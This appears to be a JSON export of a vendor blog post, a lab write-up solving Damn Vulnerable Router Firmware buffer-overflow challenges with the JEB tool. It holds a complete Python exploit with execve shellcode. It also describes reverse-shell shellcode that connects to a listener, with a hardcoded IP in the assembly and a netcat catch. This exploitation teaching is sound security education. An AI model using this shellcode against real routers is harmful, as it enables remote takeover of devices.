{"id":707,"date":"2017-08-22T08:04:06","date_gmt":"2017-08-22T16:04:06","guid":{"rendered":"https:\/\/www.pnfsoftware.com\/blog\/?p=707"},"modified":"2018-12-19T13:34:59","modified_gmt":"2018-12-19T21:34:59","slug":"firmware-exploitation-with-jeb-part-2","status":"publish","type":"post","link":"https:\/\/www.pnfsoftware.com\/blog\/firmware-exploitation-with-jeb-part-2\/","title":{"rendered":"Firmware exploitation with JEB: Part 2"},"content":{"rendered":"

This is the second blog post of our series on MIPS exploitation using Praetorian\u2019s <\/span>Damn Vulnerable Router Firmware<\/span><\/a> (DVRF) written by <\/span>b1ack0wl<\/span><\/a>. In the first part<\/a> we exploited a (not so simple) stack buffer overflow, using our JEB ROP gadget finder. Let\u2019s dig into the second and third buffer overflow challenges!<\/span><\/p>\n

Stack_bof_02<\/span><\/h1>\n

Recon<\/span><\/h2>\n

As the first one, we face a:<\/span><\/p>\n

\r\nstack_bof_02: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-uClibc.so.0, not stripped\r\n<\/pre>\n
Let\u2019s check the main function.<\/span><\/p>\n
\"\"<\/a><\/p>\n
It looks almost exactly the same as the first challenge with only a different buffer size in the <\/span>strcpy()<\/span><\/i> call. Let\u2019s confirm we don\u2019t have an instant win function, to which we can redirect the execution.<\/span><\/p>\n
\"\"<\/a><\/p>\n
Building The Exploit<\/span><\/h2>\n
What we have here is a textbook case of stack buffer overflow. The stack is executable and we can write a pretty large buffer (508 bytes) to it thanks to the vulnerable strcpy()<\/em>. \u00a0<\/span><\/p>\n
First things first, I retrieved a MIPS shellcode from <\/span>shellstorm<\/span><\/a>, which I then translated into little-endian — the target binary being compiled for MIPSEL. Next, we need to find the exact stack address where we need to jump to. In order to ease the process (and make our exploit \u201cportable\u201d) I decided to prefix the shellcode with a NOP sled. <\/span><\/p>\n
To build the NOP sled, we can not simply use MIPS NOP<\/code> instruction, because it is encoded\u00a0as four null bytes, and therefore cannot be copied with strcpy()<\/em>. Using Keystone assembler<\/a>, I searched for an equivalent instruction, and ended up using\u00a0xor $t0, $t0, $t0<\/code>, whose encoding does not contain null bytes.<\/span><\/p>\n
We only need to merge all the parts together and we have an exploit! Here is the complete exploit code:<\/span><\/p>\n
\r\n#!\/usr\/bin\/python2\r\n\r\nimport struct\r\n\r\npayload = ""\r\n\r\n# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)\r\nfor i in range(30):\r\n    payload += "\\x26\\x40\\x08\\x01"\r\n\r\n# execve shellcode translated from MIPS to MIPSEL\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-792.php\r\npayload += "\\xff\\xff\\x06\\x28" # slti $a2, $zero, -1\r\npayload += "\\x62\\x69\\x0f\\x3c" # lui $t7, 0x6962\r\npayload += "\\x2f\\x2f\\xef\\x35" # ori $t7, $t7, 0x2f2f\r\npayload += "\\xf4\\xff\\xaf\\xaf" # sw $t7, -0xc($sp)\r\npayload += "\\x73\\x68\\x0e\\x3c" # lui $t6, 0x6873\r\npayload += "\\x6e\\x2f\\xce\\x35" # ori $t6, $t6, 0x2f6e\r\npayload += "\\xf8\\xff\\xae\\xaf" # sw $t6, -8($sp)\r\npayload += "\\xfc\\xff\\xa0\\xaf" # sw $zero, -4($sp)\r\npayload += "\\xf4\\xff\\xa4\\x27" # addiu $a0, $sp, -0xc\r\npayload += "\\xff\\xff\\x05\\x28" # slti $a1, $zero, -1\r\npayload += "\\xab\\x0f\\x02\\x24" # addiu;$v0, $zero, 0xfab\r\npayload += "\\x0c\\x01\\x01\\x01" # syscall 0x40404\r\n\r\npayload += "A"*(508-len(payload))\r\n\r\nstack_addr = struct.pack("<I", 0x7fffe2a8)\r\n\r\npayload += stack_addr\r\nwith open("input", "wb") as f:\r\n    f.write(payload)\r\n\r\n<\/pre>\n
We can see that the shellcode successfully executed and we now have a shell!<\/span><\/p>\n
\"\"<\/a><\/p>\n
Socket_bof<\/span><\/h1>\n
The next challenge was similar to the second one but involved an open network socket to receive the user input, as the name of the challenge <\/span>indicates. Let\u2019s check it out!<\/span><\/p>\n
\"\"<\/a><\/p>\n
It starts with the usual socket boilerplate code and binds on a port specified as a command line argument. After accepting a connection, it will read 500 bytes and send back the string \u201cnom nom nom, you sent me %s<\/em>\u201d formatted with your 500 bytes input. <\/span><\/p>\n
The vulnerability comes from the small size of the sprintf()<\/em> buffer, which is only 52 bytes long, as you can see here in JEB stackframe view:<\/span><\/p>\n
\"\"<\/a><\/p>\n
Our strategy here is similar to the previous exploit, except this time our shellcode will be a reverse shell.<\/p>\n
Luckily, Jacob Holcomb<\/a>\u00a0has published this one<\/a> so we don’t have to do it ourselves. The only downside is that the IP it will connect to is hardcoded:<\/span><\/p>\n
\r\nli $a1, 0xB101A8C0 #192.168.1.177\r\nsw $a1, -4($sp)\r\naddi $a1, $sp, -8\r\n<\/pre>\n
 To ease the use of this shellcode, I added a not<\/code> instruction to be able to connect to 127.0.0.1 or any IP address that contains null bytes. To make sure it works as intended and to debug offsets, let’s run the exploit in JEB’s debugger by setting a breakpoint (Ctrl+B) right before the JR $RA<\/code> instruction and stepping through our shellcode.<\/span><\/p>\n
\"\"<\/a><\/p>\n
We can then step through with the stepo<\/code>\u00a0debugger command (or use the F6<\/code>\u00a0shortcut) \u00a0and jump to the Memory Code<\/code>\u00a0view.<\/p>\n
And we end up in our NOP sled as intended, stepping through it will make us arrive at our shellcode where we can verify that it works as we thought!<\/p>\n
\"\"<\/a><\/p>\n
Let’s start a listening socket with netcat on port 31337<\/code>\u00a0and confirm that we have a shell:<\/p>\n
\"\"<\/a><\/p>\n
Success! I encourage you to stay tuned with the DVRF project updates because the challenge author will make some changes on the heap challenges (that we haven’t posted about because of that). A blog post covering notes on reversing a real router firmware will follow shortly!<\/p>\n","protected":false},"excerpt":{"rendered":"
This is the second blog post of our series on MIPS exploitation using Praetorian\u2019s Damn Vulnerable Router Firmware (DVRF) written by b1ack0wl. In the first part we exploited a (not so simple) stack buffer overflow, using our JEB ROP gadget finder. Let\u2019s dig into the second and third buffer overflow challenges! Stack_bof_02 Recon As the … Continue reading Firmware exploitation with JEB: Part 2<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,13],"tags":[],"class_list":["post-707","post","type-post","status-publish","format-standard","hentry","category-jeb2","category-native-code"],"_links":{"self":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/posts\/707","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/comments?post=707"}],"version-history":[{"count":0,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/posts\/707\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/media?parent=707"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/categories?post=707"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/tags?post=707"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}